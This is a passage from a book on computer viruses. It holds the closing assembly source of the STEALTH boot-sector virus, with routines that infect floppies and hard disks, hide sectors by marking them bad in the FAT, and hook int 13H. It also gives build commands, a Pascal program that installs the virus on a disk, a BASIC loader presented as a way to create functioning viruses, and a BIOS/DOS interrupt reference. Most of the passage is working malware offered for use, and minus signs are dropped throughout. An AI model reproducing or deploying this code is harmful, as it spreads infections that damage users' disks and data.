call INFECT_12M ;yes, infect it

jmp SHORT IF_R ;and get out

IF_2: cmp bx,1440 ;is it 720K 3 1/2"? (1440 secs)

jnz IF_3 ;no, try another possibility

call INFECT_720K ;yes, infect it

jmp SHORT IF_R ;and get out

IF_3: cmp bx,2880 ;is it 1.44M 3 1/2"? (2880 secs)

jnz IF_R ;no don't infect this disk

call INFECT_144M ;yes infect it

IF_R: pop es ;restore everyting and return

pop ds

pop dx

pop cx

pop bx

pop ax

pop di

pop si

popf

ret

;*******************************************************************************

;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,

;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus

;code in sectors 1 through 5, and then replacing the boot sector on the disk

;with the viral boot sector.

INFECT_360K:

mov dl,al ;read the FAT from

mov cx,3 ;track 0, sector 3, head 0

mov dh,0

call READ_DISK

mov bx,ax

jc INF360_EXIT

mov di,OFFSET SCRATCHBUF + 11H ;modify the FAT in RAM

mov ax,[di] ;make sure nothing is stored

and ax,0FFF0H

or ax,[di+2] ;if it is, abort infect...

or ax,[di+4] ;don't wipe out any data

jnz INF360_EXIT ;if so, abort infection

mov ax,[di]

141 The Little Black Book of Computer Viruses

 

or ax,0FF70H

stosw

mov ax,07FF7H ;marking the last 6 clusters

stosw ;as bad

mov ax,00FFH

stosw

mov ax,bx ;write the FAT back to disk

mov cx,3 ;at track 0, sector 3, head 0

mov dl,bl

mov dh,0

call WRITE_DISK ;write the FAT back to disk

jc INF360_EXIT

INF360_RETRY:

mov dl,al ;write the 2nd FAT too,

mov cx,5 ;at track 0, sector 5, head 0

mov dh,0

call WRITE_DISK

jc INF360_RETRY ;must retry, since 1st fat done

call GET_BOOT_SEC ;read the boot sector in

jc INF360_EXIT

mov dl,al ;write the orig boot sector at

mov dh,1 ;head 1

mov cx,2709H ;track 39, sector 9

call WRITE_DISK

jc INF360_EXIT

push ax

mov di,OFFSET BOOT_DATA

; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)

mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86

mov cx,32H / 2 ;copy boot sector disk info over

rep movsw ;to new boot sector

mov BYTE PTR [DR_FLAG],0 ;set proper diskette type

pop ax

call PUT_BOOT_SEC ;go write it to disk

jc INF360_EXIT

mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth

mov dl,al ;drive to write to

mov dh,1 ;head 1

mov cx,2704H ;track 39, sector 4

mov ax,0305H ;write 5 sectors

pushf

call DWORD PTR [OLD_13H] ;(int 13H)

INF360_EXIT:

ret ;all done

;*******************************************************************************

;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially

;the same as the 360K case.

INFECT_12M:

mov dl,al ;read the FAT from

mov cx,8 ;track 0, sector 8, head 0

mov dh,0

call READ_DISK

mov bx,ax

jc INF12M_EXIT

mov di,OFFSET SCRATCHBUF + 1DDH ;modify the FAT in RAM

mov ax,[di] ;make sure nothing is stored

or ax,[di+2] ;if it is, abort infect...

or ax,[di+4] ;don't wipe out any data

or ax,[di+6]

or ax,[di+8]

jnz INF12M_EXIT ;if so, abort infection

Appendix E: The STEALTH Virus 142

 

mov ax,07FF7H

stosw

mov ax,0F7FFH ;marking the last 6 clusters

stosw ;as bad

mov ax,0FF7FH

stosw

mov ax,07FF7H

stosw

mov ax,000FFH

stosw

mov ax,bx ;write the FAT back to disk

mov cx,8 ;at track 0, sector 8, head 0

mov dl,bl

mov dh,0

call WRITE_DISK ;write the FAT back to disk

jc INF12M_EXIT

INF12M_RETRY:

mov dl,al ;write the 2nd FAT too,

mov cx,0FH ;at track 0, sector 15, head 0

mov dh,0

call WRITE_DISK

jc INF12M_RETRY ;must retry, since 1st fat done

call GET_BOOT_SEC ;read the boot sector in

jc INF12M_EXIT

mov dl,al ;write the orig boot sector at

mov dh,1 ;head 1

mov cx,4F0FH ;track 79, sector 15

call WRITE_DISK

jc INF12M_EXIT

push ax

mov di,OFFSET BOOT_DATA

; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)

mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86

mov cx,32H / 2 ;copy boot sector disk info over

rep movsw ;to new boot sector

mov BYTE PTR [DR_FLAG],1 ;set proper diskette type

pop ax

call PUT_BOOT_SEC ;go write it to disk

jc INF12M_EXIT

mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth

mov dl,al ;drive to write to

mov dh,1 ;head 1

mov cx,4F0AH ;track 79, sector 10

mov ax,0305H ;write 5 sectors

pushf

call DWORD PTR [OLD_13H] ;(int 13H)

INF12M_EXIT:

ret ;all done

;*******************************************************************************

;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"

;drives. The virus goes in an existing data area on the disk, so no formatting

;is required. Instead, we 1) Mark the diskette's FAT to indicate that the last

;three clusters are bad, so that DOS will not attempt to overwrite the virus

;code. 2) Read the boot sector and put it at Track 79, Head 1 sector 9, 3) Put

;the five sectors of stealth routines at Track 79, Head 1, sector 48, 4) Put

;the viral boot sector at Track 0, Head 0, Sector 1.

INFECT_720K:

mov dl,al ;read the FAT from

mov cx,4 ;track 0, sector 4, head 0

mov dh,0

call READ_DISK

mov bx,ax

jc INF720_EXIT

143 The Little Black Book of Computer Viruses

 

mov di,OFFSET SCRATCHBUF + 44 ;modify the FAT in RAM

mov ax,[di] ;make sure nothing is stored

or ax,[di+2] ;if it is, abort infect...

or ax,[di+4] ;don't wipe out any data

jnz INF720_EXIT ;if so, abort infection

mov ax,07FF7H

stosw

mov ax,0F7FFH ;marking the last 6 clusters

stosw ;as bad

mov ax,0000FH

stosw

mov ax,bx ;write the FAT back to disk

mov cx,4 ;at track 0, sector 4, head 0

mov dl,bl

mov dh,0

call WRITE_DISK ;write the FAT back to disk

jc INF720_EXIT

INF720_RETRY:

mov dl,al ;write the 2nd FAT too,

mov cx,7 ;at track 0, sector 7, head 0

mov dh,0

call WRITE_DISK

jc INF720_RETRY ;must retry, since 1st fat done

call GET_BOOT_SEC ;read the boot sector in

jc INF720_EXIT

mov dl,al ;write the orig boot sector at

mov dh,1 ;head 1

mov cx,4F09H ;track 79, sector 9

call WRITE_DISK

jc INF720_EXIT

push ax

mov di,OFFSET BOOT_DATA

; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)

mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86

mov cx,32H / 2 ;copy boot sector disk info over

rep movsw ;to new boot sector

mov BYTE PTR [DR_FLAG],2 ;set proper diskette type

pop ax

call PUT_BOOT_SEC ;go write it to disk

jc INF720_EXIT

mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth

mov dl,al ;drive to write to

mov dh,1 ;head 1

mov cx,4F04H ;track 79, sector 4

mov ax,0305H ;write 5 sectors

pushf

call DWORD PTR [OLD_13H] ;(int 13H)

INF720_EXIT:

ret ;all done

;*******************************************************************************

;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the

;same as infecting a 720K diskette, except that the virus is placed in sectors

;1317 on Track 79, Head 0, and the original boot sector is placed in Sector 18.

INFECT_144M:

mov dl,al ;read the FAT from

mov cx,0AH ;track 0, sector 10, head 0

mov dh,0

call READ_DISK

mov bx,ax

jc INF720_EXIT

Appendix E: The STEALTH Virus 144

 

mov di,OFFSET SCRATCHBUF + 0A8H ;modify the FAT in RAM

mov ax,[di] ;make sure nothing is stored

and ax,0FFF0H ;in any of these clusters

or ax,[di+2] ;if it is, abort infect...

or ax,[di+4] ;don't wipe out any data

or ax,[di+6]

or ax,[di+8]

jnz INF144M_EXIT ;if so, abort infection

mov ax,es:[di]

and ax,000FH

add ax,0FF70H

stosw

mov ax,07FF7H ;marking the last 6 clusters

stosw ;as bad

mov ax,0F7FFH

stosw

mov ax,0FF7FH

stosw

mov ax,0FF7H

stosw

mov ax,bx ;write the FAT back to disk

mov cx,0AH ;at track 0, sector 10, head 0

mov dl,bl

mov dh,0

call WRITE_DISK ;write the FAT back to disk

jc INF144M_EXIT

INF144M_RETRY:

mov dl,al ;write the 2nd FAT too,

mov cx,1 ;at track 0, sector 1, head 1

mov dh,1

call WRITE_DISK

jc INF144M_RETRY ;must retry, since 1st fat done

call GET_BOOT_SEC ;read the boot sector in

jc INF144M_EXIT

mov dl,al ;write the orig boot sector at

mov dh,1 ;head 1

mov cx,4F12H ;track 79, sector 18

call WRITE_DISK

jc INF144M_EXIT

push ax

mov di,OFFSET BOOT_DATA

; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)

mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86

mov cx,32H / 2 ;copy boot sector disk info over

rep movsw ;to new boot sector

mov BYTE PTR [DR_FLAG],3 ;set proper diskette type

pop ax

call PUT_BOOT_SEC ;go write it to disk

jc INF144M_EXIT

mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth

mov dl,al ;drive to write to

mov dh,1 ;head 1

mov cx,4F0DH ;track 79, sector 13

mov ax,0305H ;write 5 sectors

pushf

call DWORD PTR [OLD_13H] ;(int 13H)

INF144M_EXIT:

ret ;all done

;Read one sector into SCRATCHBUF from the location specified in dx,cx. Preserve

;ax, and return c set properly. Assumes es set up properly.

READ_DISK:

push ax

mov bx,OFFSET SCRATCHBUF

145 The Little Black Book of Computer Viruses

 

mov ax,0201H

pushf

call DWORD PTR [OLD_13H]

pop ax

ret

;Write one sector from SCRATCHBUF into the location specified in dx,cx. Preserve

;ax, and return c set properly.

WRITE_DISK:

push ax

mov bx,OFFSET SCRATCHBUF

mov ax,0301H

pushf

call DWORD PTR [OLD_13H]

pop ax

ret

;*******************************************************************************

;Infect Hard Disk Drive AL with this virus. This involves the following steps:

;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.

;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy

;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH

;routines to Track 0, Head 0, Sector 2, 5 sectors total.

INFECT_HARD:

mov al,80H ;set drive type flag to hard

disk

mov BYTE PTR [DR_FLAG],al ;cause that's where it's going

call GET_BOOT_SEC ;read the present boot sector

mov bx,OFFSET SCRATCHBUF ;and go write it at

push ax

mov dl,al

mov dh,0 ;head 0

mov cx,0007H ;track 0, sector 7

mov ax,0301H ;BIOS write, for 1 sector

pushf

call DWORD PTR [OLD_13H] ;(int 13H)

pop ax

push ax

mov di,OFFSET BOOT_DATA

; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA OFFSET BOOT_START)

mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86

mov cx,32H / 2 ;copy boot sector disk info over

rep movsw ;to new boot sector

mov di,OFFSET BOOT_START + 200H 42H

mov si,OFFSET SCRATCHBUF + 200H 42H

mov cx,21H ;copy partition table

rep movsw ;to new boot sector too!

pop ax

call PUT_BOOT_SEC ;write viral boot sector

mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth

mov dl,al ;drive to write to

mov dh,0 ;head 0

mov cx,0002H ;track 0, sector 2

mov ax,0305H ;write 5 sectors

pushf

call DWORD PTR [OLD_13H] ;(int 13H)

ret

;*******************************************************************************

;This routine determines if a hard drive C: exists, and returns NZ if it does,

;Z if it does not.

IS_HARD_THERE:

Appendix E: The STEALTH Virus 146

 

push ds

xor ax,ax

mov ds,ax

mov bx,475H ;Get hard disk count from bios

mov al,[bx] ;put it in al

pop ds

cmp al,0 ;and see if al=0 (no drives)

ret

;*******************************************************************************

;Read the boot sector on the drive AL into SCRATCHBUF. This routine must

;prserve AL!

GET_BOOT_SEC:

push ax

mov bx,OFFSET SCRATCHBUF ;buffer for the boot sector

mov dl,al ;this is the drive to read from

mov dh,0 ;head 0

mov ch,0 ;track 0

mov cl,1 ;sector 1

mov al,1 ;read 1 sector

mov ah,2 ;BIOS read function

pushf

call DWORD PTR [OLD_13H] ;(int 13H)

pop ax

ret

;*******************************************************************************

;This routine writes the data in BOOT_START to the drive in al at Track 0,

;Head 0, Sector 1 for 1 sector, making that data the new boot sector.

PUT_BOOT_SEC:

push ax

mov bx,OFFSET BOOT_START

mov dl,al ;this is the drive to write to

mov dh,0 ;head 0

mov ch,0 ;track 0

mov cl,1 ;sector 1

mov al,1 ;read 1 sector

mov ah,3 ;BIOS write function

pushf

call DWORD PTR [OLD_13H] ;(int 13H)

pop ax

ret

;*******************************************************************************

;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.

;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,

;are checked to see if they are identical. If so, it must be the viral boot

;sector. It is assumed that es and ds are properly set to this segment when

;this is called.

IS_VBS:

push si ;save these

push di

cld

mov di,OFFSET BOOT ;set up for a compare

; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT OFFSET BOOT_START)

mov si,OFFSET SB_BOOT ;required instead of ^ for A86

mov cx,15

repz cmpsw ;compare 30 bytes

pop di ;restore these

pop si

ret ;and return with z properly set

;*******************************************************************************

;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES *

;*******************************************************************************

ORG 7A00H

147 The Little Black Book of Computer Viruses

 

SCRATCHBUF: ;a total of 512 bytes

DB 3 dup (0)

SB_BOOT_DATA: ;with references to correspond

DB 32H dup (0) ;to various areas in the boot

SB_DR_FLAG: ;sector at 7C00

DB 0 ;these are only needed by A86

SB_BOOT: ;tasm and masm will let you

DB 458 dup (0) ;just do ``db 512 dup (0)''

;*******************************************************************************

;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *

;*******************************************************************************

ORG 7C00H ;Starting location for boot sec

BOOT_START:

jmp SHORT BOOT ;jump over data area

db 090H ;an extra byte for near jump

BOOT_DATA:

db 32H dup (?) ;data area and default dbt

;(copied from orig boot sector)

DR_FLAG:DB 0 ;Drive type flag, 0=360K Floppy

; 1=1.2M Floppy

; 2=720K Floppy

; 3=1.4M Floppy

; 80H=Hard Disk

;The boot sector code starts here

BOOT:

cli ;interrupts off

xor ax,ax

mov ss,ax

mov ds,ax

mov es,ax ;set up segment registers

mov sp,OFFSET BOOT_START ;and stack pointer

sti

mov cl,6 ;prep to convert kb's to seg

mov ax,[MEMSIZE] ;get size of memory available

shl ax,cl ;convert KBytes into a segment

sub ax,7E0H ;subtract enough so this code

mov es,ax ;will have the right offset to

sub [MEMSIZE],4 ;go memory resident in high ram

GO_RELOC:

mov si,OFFSET BOOT_START ;set up ds:si and es:di in order

mov di,si ;to relocate this code

mov cx,256 ;to high memory

rep movsw ;and go move this sector

push es

mov ax,OFFSET RELOC

push ax ;push new far @RELOC onto stack

retf ;and go there with retf

RELOC: ;now we're in high memory

push es ;so let's install the virus

pop ds

nop

mov bx,OFFSET STEALTH ;set up buffer to read virus

mov al,BYTE PTR [DR_FLAG] ;drive number

cmp al,0 ;Load from proper drive type

jz LOAD_360

cmp al,1

jz LOAD_12M

cmp al,2

jz LOAD_720

cmp al,3

jz LOAD_14M ;if none of the above,

Appendix E: The STEALTH Virus 148

 

;then it's a hard disk

LOAD_HARD: ;load virus from hard disk

mov dx,80H ;hard drive 80H, head 0,

mov ch,0 ;track 0,

mov cl,2 ;start at sector 2

jmp SHORT LOAD1

LOAD_360: ;load virus from 360 K floppy

mov ch,39 ;track 39

mov cl,4 ;start at sector 4

jmp SHORT LOAD

LOAD_12M: ;load virus from 1.2 Meg floppy

mov ch,79 ;track 80

mov cl,10 ;start at sector 10

jmp SHORT LOAD

LOAD_720: ;load virus from 720K floppy

mov ch,79 ;track 79

mov cl,4 ;start at sector 4

jmp SHORT LOAD ;go do it

LOAD_14M: ;load from 1.44 Meg floppy

mov ch,79 ;track 79

mov cl,13 ;start at sector 13

; jmp SHORT LOAD ;go do it

LOAD: mov dx,100H ;disk 0, head 1

LOAD1: mov ax,206H ;read 6 sectors

int 13H ;call BIOS to read it

jc LOAD1 ;try again if it fails

MOVE_OLD_BS:

xor ax,ax ;now move old boot sector into

mov es,ax ;low memory

mov si,OFFSET SCRATCHBUF ;at 0000:7C00

mov di,OFFSET BOOT_START

mov cx,256

rep movsw

SET_SEGMENTS: ;change segments around a bit

cli

mov ax,cs

mov ss,ax

mov sp,OFFSET STEALTH ;set up the stack for the virus

push cs ;and also the es register

pop es

INSTALL_INT13H: ;now hook the Disk BIOS int

xor ax,ax

mov ds,ax

mov si,13H*4 ;save the old int 13H vector

mov di,OFFSET OLD_13H

movsw

movsw

mov ax,OFFSET INT_13H ;and set up new interrupt 13H

mov bx,13H*4 ;which everybody will have to

mov ds:[bx],ax ;use from now on

mov ax,es

mov ds:[bx+2],ax

sti

CHECK_DRIVE:

push cs ;set ds to point here now

pop ds

cmp BYTE PTR [DR_FLAG],80H ;if booting from a hard drive,

jz DONE ;nothing else needed at boot

FLOPPY_DISK: ;if loading from a floppy drive,

call IS_HARD_THERE ;see if a hard disk exists here

jz DONE ;no hard disk, all done booting

149 The Little Black Book of Computer Viruses

 

mov al,80H ;else load boot sector from C:

call GET_BOOT_SEC ;into SCRATCHBUF

call IS_VBS ;and see if C: is infected

jz DONE ;yes, all done booting

call INFECT_HARD ;else go infect hard drive C:

DONE:

mov si,OFFSET PART ;clean partition data out of

mov di,OFFSET PART+1 ;memory image of boot sector

mov cx,3FH ;so it doesn't get spread to

mov BYTE PTR [si],0 ;floppies when we infect them

rep movsb

xor ax,ax ;now go execute old boot sector

push ax ;at 0000:7C00

mov ax,OFFSET BOOT_START

push ax

retf

ORG 7DBEH

PART: DB 40H dup (?) ;partition table goes here

ORG 7DFEH

DB 55H,0AAH ;boot sector ID goes here

ENDCODE: ;label for the end of boot sec

COMSEG ENDS

END START

To compile STEALTH using MASM, generate a file

STEALTH.COM with the following commands:

masm stealth;

link stealth;

exe2bin stealth

ren stealth.bin stealth.com

To compile with TASM, execute the following steps:

tasm stealth;

tlink /t stealth;

Finally, to compile with A86, just type

A86 stealth.asm stealth.com

Once you have created STEALTH.COM, you must get it into the

right place on disk, which is not too easy without a special program.

The following Turbo Pascal program, PUT_360, uses the file

STEALTH.COM to put the STEALTH virus on a 360 kilobyte

diskette. It formats the extra track required, and then moves the

original boot sector, puts the main body of the virus in place, and

puts the viral boot sector in Track 0, Head 0, Sector 1.

Appendix E: The STEALTH Virus 150

 

program put_360; {This program puts the stealth virus STEALTH.COM on a }

{360K floppy diskette. }

uses dos;

var

disk_buffer :array[0..5119] of byte; {Data area to read virus into}

boot :array[0..511] of byte; {Data area to read boot sec into}

virus :file; {Virus code file variable}

j :integer;

{This function executes a BIOS Disk Access (int 13H) call.}

function biosdisk(cmd,drive,head,track,sector,nsects:integer;

buffer:pointer):byte;

var

regs :registers;

begin

regs.AH:=cmd; {ah = function number}

regs.DL:=drive; {dl = drive number}

regs.DH:=head; {dh = head number}

regs.CH:=track; {ch = track number}

regs.CL:=sector; {cl = sector number}

regs.AL:=nsects; {al = # of sectors to operate on}

regs.ES:=seg(buffer^); {es:bx = data buffer}

regs.BX:=ofs(buffer^);

intr($13,regs); {Execute the interrupt}

biosdisk:=regs.flags and 1; {Return code in ah}

end;

begin

if biosdisk(2,0,0,0,1,1 ,@boot)<>0 then {Read original boot sector}

writeln('Couldn''t read original boot sector!');

if biosdisk(3,0,1,39,9,1,@boot)<>0 then {Put it @ Trk 39, Hd 1, Sec 9}

writeln('Couldn''t write original boot sector!');

assign(virus,'STEALTH.COM'); {Open the virus code file}

reset(virus,256);

seek(virus,$6F); {Position fp to start of code}

BlockRead(virus,disk_buffer,10); {Read 5 sectors to ram}

for j:=1 to 5 do

if biosdisk(3,0,1,39,3+j,1,@disk_buffer[512*(j1)])<>0 then {Write it}

writeln('Couldn''t write stealth routines to disk! ',j);

seek(virus,$7B); {Position fp to viral boot sec}

BlockRead(virus,disk_buffer,2); {Read it}

move(boot[3],disk_buffer[3],$32); {Move orig boot data into it}

if biosdisk(3,0,0,0,1,1,@disk_buffer)<>0 then {And make it the new boot sec}

writeln('Couldn''t write viral boot sector to disk!');

close(virus);

if biosdisk(2,0,0,0,3,1,@disk_buffer)<>0 then

writeln('Couldn''t read FAT!');

disk_buffer[$11]:=$70;

disk_buffer[$12]:=$FF;

disk_buffer[$13]:=$F7;

disk_buffer[$14]:=$7F;

disk_buffer[$15]:=$FF;

if biosdisk(3,0,0,0,3,1,@disk_buffer)<>0 then

writeln('Couldn''t write FAT1!');

if biosdisk(3,0,0,0,5,1,@disk_buffer)<>0 then

writeln('Couldn''t write FAT2!');

end.

Compile this program with the command line ``tpc put_360" using

the Turbo Pascal command line compiler. To put STEALTH on a

disk, format a 360 kilobyte floppy disk (using the /s option to make

it a boot disk) and then run PUT_360 in the same directory as

STEALTH.COM. The program disk has PUT programs for other

formats, or you can modify PUT_360 to do it.

151 The Little Black Book of Computer Viruses

 

Appendix F: The HEX File Loader

The following basic program, LOAD.BAS, will translate

the HEX listings in the previous four appendicies into COM files.

The basic program will run under GWBASIC or BASICA.Youmay

type it in yourself using BASIC, and then type in the HEX files

using a word processor.

Using LOAD, you can create functioning viruses with this

book, without buying an assembler like MASM or TASM. Each of

the previous appendicies give you the details of how to get each

particular virus up and running.

When the program runs, you will be prompted for both

source and destination file names. When asked for the source file,

enter the HEX file name, including the ``HEX''. When asked for the

destination file name, enter the COM file name that you want to

create, including the ``COM''. The program will then read and

translate the HEX file. If everything goes OK, it will report ``Trans

lation complete.'' If there is a problem, it will report ``Checksum

error in line XX,'' which means that you made a mistake typing line

XX in. You should go back and check your HEX file for mistakes,

correct them, and try to run LOAD again.

For example, suppose you had created the VCOM.HEX

file with your word processor. Then to create a COM file from it,

you would load the LOAD program like this:

C:\GWBASIC LOAD.BAS

 

The dialogue would then look something like this:

Source file? VCOM.HEX

Destination file? VCOM.COM

Translation complete.

and the file VCOM.COM would now be on your disk, ready to

execute.

The source code for LOAD.BAS is as follows:

10 PRINT ``Source file'';

20 INPUT SFNAME$

30 PRINT ``Destination file'';

40 INPUT DFNAME$

50 OPEN SFNAME$ FOR INPUT AS #1

60 OPEN DFNAME$ FOR RANDOM AS #2 LEN=1

70 FIELD 2, 1 AS O$

80 E=0

90 LINECT=0

100 IF EOF(1) THEN GOTO 160

110 LINE INPUT #1, S$

120 LINECT=LINECT+1

130 GOSUB 200

140 GOTO 100

150 IF E=1 THEN GOTO 170

160 PRINT ``Translation complete.''

170 CLOSE #1

180 CLOSE #2

190 END

200 REM THIS SUBROUTINE DECOMPOSES ONE LINE OF THE HEX FILE

210 H$=LEFT$(S$,3)

220 H$=RIGHT$(H$,2)

230 GOSUB 540

240 COUNT%=X%

250 CSUM%=COUNT%

260 H$=LEFT$(S$,7)

270 H$=RIGHT$(H$,4)

280 GOSUB 540

290 ADDR%=X%

300 CSUM%=CSUM%+(ADDR%\256)+(ADDR% AND 255)

310 H$=LEFT$(S$,9)

320 H$=RIGHT$(H$,2)

330 IF H$<>"00" THEN GOTO 160

340 FOR J%=1 TO COUNT%

350 H$=LEFT$(S$,9+2*J%)

360 H$=RIGHT$(H$,2)

370 GOSUB 500

380 CSUM%=CSUM%+X%

390 LSET O$=C$

400 PUT #2, ADDR%+J%

410 NEXT J%

153 The Little Black Book of Computer Viruses

 

420 H$=LEFT$(S$,11+2*COUNT%)

430 H$=RIGHT$(H$,2)

440 GOSUB 540

450 CSUM%=CSUM%+X%

460 IF (CSUM% AND 255) = 0 THEN RETURN

470 PRINT ``Checksum error in line '';LINECT

480 E=1

490 GOTO 150

500 REM THIS SUBROUTINE CONVERTS A HEX STRING IN H$ TO A

BYTE in C$

510 GOSUB 540

520 C$=CHR$(X%)

530 RETURN

540 REM THIS SUBROUTINE CONVERTS A HEX STRING IN H$ TO AN

INTEGER IN X

550 X%=0

560 IF LEN(H$)=0 THEN RETURN

570 Y%=ASC(H$)48

580 IF Y%>9 THEN Y%=Y%7

590 X%=16*X%+Y%

600 H$=RIGHT$(H$,LEN(H$)1)

610 GOTO 560

Note that the HEX files and loader presented in this book

are a little different from the usual. There is a reason for that.

Appendix F: The HEX File Loader 154

 

Appendix G:

BIOS and DOS Interrupt Functions

All BIOS and DOS calls which are used in this book are

documented here. No attempt is made at an exhaustive list, since

such information has been published abundantly in a variety of

sources. See Appendix H for some books with more complete

interrupt information.

Interrupt 10H: BIOS Video Services

Function 0E Hex: Write TTY to Active Page

Registers ah = 0EH

al = Character to display

bl = Forground color, in graphics modes

Returns: None

This function displays the character in al on the screen at the current cursor

location and advances the cursor by one position. It interprets al=0DH as

a carriage return, al=0AH as a line feed, al=08 as a backspace, and al=07

as a bell. When used in a graphics mode, bl is made the foreground color.

In text modes, the character attribute is left unchanged.

 

Interrupt 13H: BIOS Disk Services

Function 0: Reset Disk System

Registers: ah = 0

Returns: c = set on error

This function resets the disk system, sendinga reset command to the floppy

disk controller.

Function 2: Read Sectors from Disk

Registers: ah = 2

al = Number of sectors to read on same track, head

cl = Sector number to start reading from

ch = Track number to read

dh = Head number to read

dl = Drive number to read

es:bx = Buffer to read sectors into

Returns: c = set on error

ah = Error code, set as follows (for all Int 13H fctns)

80 H Disk drive failed to respond

40 H Seek operation failed

20 H Bad NEC controller chip

10 H Bad CRC on disk read

09 H 64K DMA boundary crossed

08 H Bad DMA chip

06 H Diskette changed

04 H Sector not found

03 H Write on write protected disk

02 H Address mark not found on disk

01 H Bad command sent to disk i/o

Function 2 reads sectors from the specified disk at a given Track, Head

and Sector number into a buffer in RAM. A successful read returns ah=0

and no carry flag. If there is an error, the carry flag is set and ah is used

to return an error code. Note that no waiting time for motor startup is

156 The Little Black Book of Computer Viruses

 

allowed, so if this function returns an error, it should be tried up to three

times.

Function 3: Write Sectors to disk

Registers: ah = 3

al = Number of sectors to write on same track, head

cl = Sector number to start writing from

ch = Track number to write

dh = Head number to write

dl = Drive number to write

es:bx = Buffer to write sectors from

Returns: c = set on error

ah = Error code (as above)

This function works just like the read, except sectors are written to disk

from the specified buffer

Function 5: Format Sectors

Registers: ah = 5

al = Number of sectors to format on this track, head

cl = Not used

ch = Track number to format

dh = Head number to format

dl = Drive number to format

es:bx = Buffer for special format information

Returns: c = set on error

ah = Error code (as above)

The buffer at es:bx should contain 4 bytes for each sector to be formatted

on the disk. These are the address fields which the disk controller uses to

locate the sectors during read/write operations. The four bytes should be

organized as C,H,R,N;C,H,R,N, etc., where C=Track number, H=Head

number, R=Sector number, N=Bytes per sector, where 0=128, 1=256,

2=512, 3=1024.

Appendix G: BIOS and DOS Interrupt Functions 157

 

Interrupt 1AH: BIOS Time of Day Services

Function 0: Read Current Clock Setting

Registers: ah = 0

Returns: cx = High portion of clock count

dx = Low portion of clock count

al = 0 if timer has not passed 24 hour count

al = 1 if timer has passed 24 hour count

The clock count returned by this function is the number of timer ticks since

midnight. A tick occurrs every 1193180/65536 of a second, or about 18.2

times a second.

Interrupt 21H: DOS Services

Function 9: Print String to Standard Output

Registers: ah = 9

ds:dx = Pointer to string to print

Returns: None

The character string at ds:dx is printed to the standard output device

(which is usually the screen). The string must be terminated by a ``$''

character, and may contain carriage returns, line feeds, etc.

Function 1AH: Set Disk Transfer Area Address

Registers: ah = 1AH

ds:dx = New disk transfer area address

Returns: None

This function sets the Disk Transfer Area (DTA) address to the value given

in ds:dx. It is meaningful only within the context of a given program.

158 The Little Black Book of Computer Viruses

 

When the program is terminated, etc., its DTA goes away with it. The

default DTA is at offset 80H in the Program Segment Prefix (PSP).

Function 2FH: Read Disk Transfer Area Address

Registers: ah = 2FH

Returns: es:bx = Pointer to the current DTA

This is the complement of function 1A. It reads the Disk Transfer Area

address into the register pair es:bx.

Function 31H: Terminate and Stay Resident

Registers: ah = 31H

al = Exit code

dx = Memory size to keep, in paragraphs

Returns: (Does not return)

Function 31H causes a program to become memory resident (a TSR),

remaining in memory and returning control to DOS. The exit code in al

will be zero if the program is terminating successfully, and something else

(programmer defined) to indicate that an error occurred. The register dx

must contain the number of 16 byte paragraphs of memory that DOS

should leave in memory when the program terminates. For example, if one

wants to leave a 367 byte COM file in memory, one must save 367+256

bytes, or 39 paragraphs. (That doesn't leave room for a stack, either.)

Function 3DH: Open File

Registers: ah = 3DH

ds:dx = Pointer to an ASCIIZ path/file name

al = Open mode

Returns: c = set if open failed

ax = File handle, if open was successful

ax = Error code, if open failed

This function opens the file specified by the null terminated string at ds:dx,

which may include a specific path. The value in al is broken out as follows:

Appendix G: BIOS and DOS Interrupt Functions 159

 

Bit 7: Inheritance flag, I.

I=0 means the file is inherited by child processes

I=1 means it is private to the current process.

Bits 46: Sharing mode, S.

S=0 is compatibility mode

S=1 is exclusive mode

S=2 is deny write mode

S=3 is deny read mode

S=4 is deny none mode.

Bit 3: Reserved, should be 0

Bit 02: Access mode, A.

A=0 is read mode

A=1 is write mode

A=2 is read/write mode

In this book we are only concerned with the access mode. For more

information on sharing, etc., see IBM's Disk Operating System Technical

Reference or one of the other books cited in the references. The file handle

returned by DOS when the open is successful may be any 16 bit number.

It is unique to the file just opened, and used by all subsequent file

operations to reference the file.

Function 3EH: Close File

Registers: ah = 3EH

bx = File handle of file to close

Returns: c = set if an error occurs closing the file

ax = Error code in the event of an error

This closes a file opened by Function 3DH, simply by passing the file

handle to DOS.

Function 3FH: Read from a File

Registers: ah = 3FH

bx = File handle

cx = Number of bytes to read

ds:dx = Pointer to buffer to put file data in

160 The Little Black Book of Computer Viruses

 

Returns: c = set if an error occurs

ax = Number of bytes read, if read is successful

ax = Error code in the event of an error

Function 3F reads cx bytes from the file referenced by handle bx into the

buffer ds:dx. The data is read from the file starting at the current file

pointer. The file pointer is initialized to zero when the file is opened, and

updated every time a read or write is performed.

Function 40H: Write to a File

Registers: ah = 40H

bx = File handle

cx = Number of bytes to write

ds:dx = Pointer to buffer to get file data from

Returns: c = set if an error occurs

ax = Number of bytes written, if write is successful

ax = Error code in the event of an error

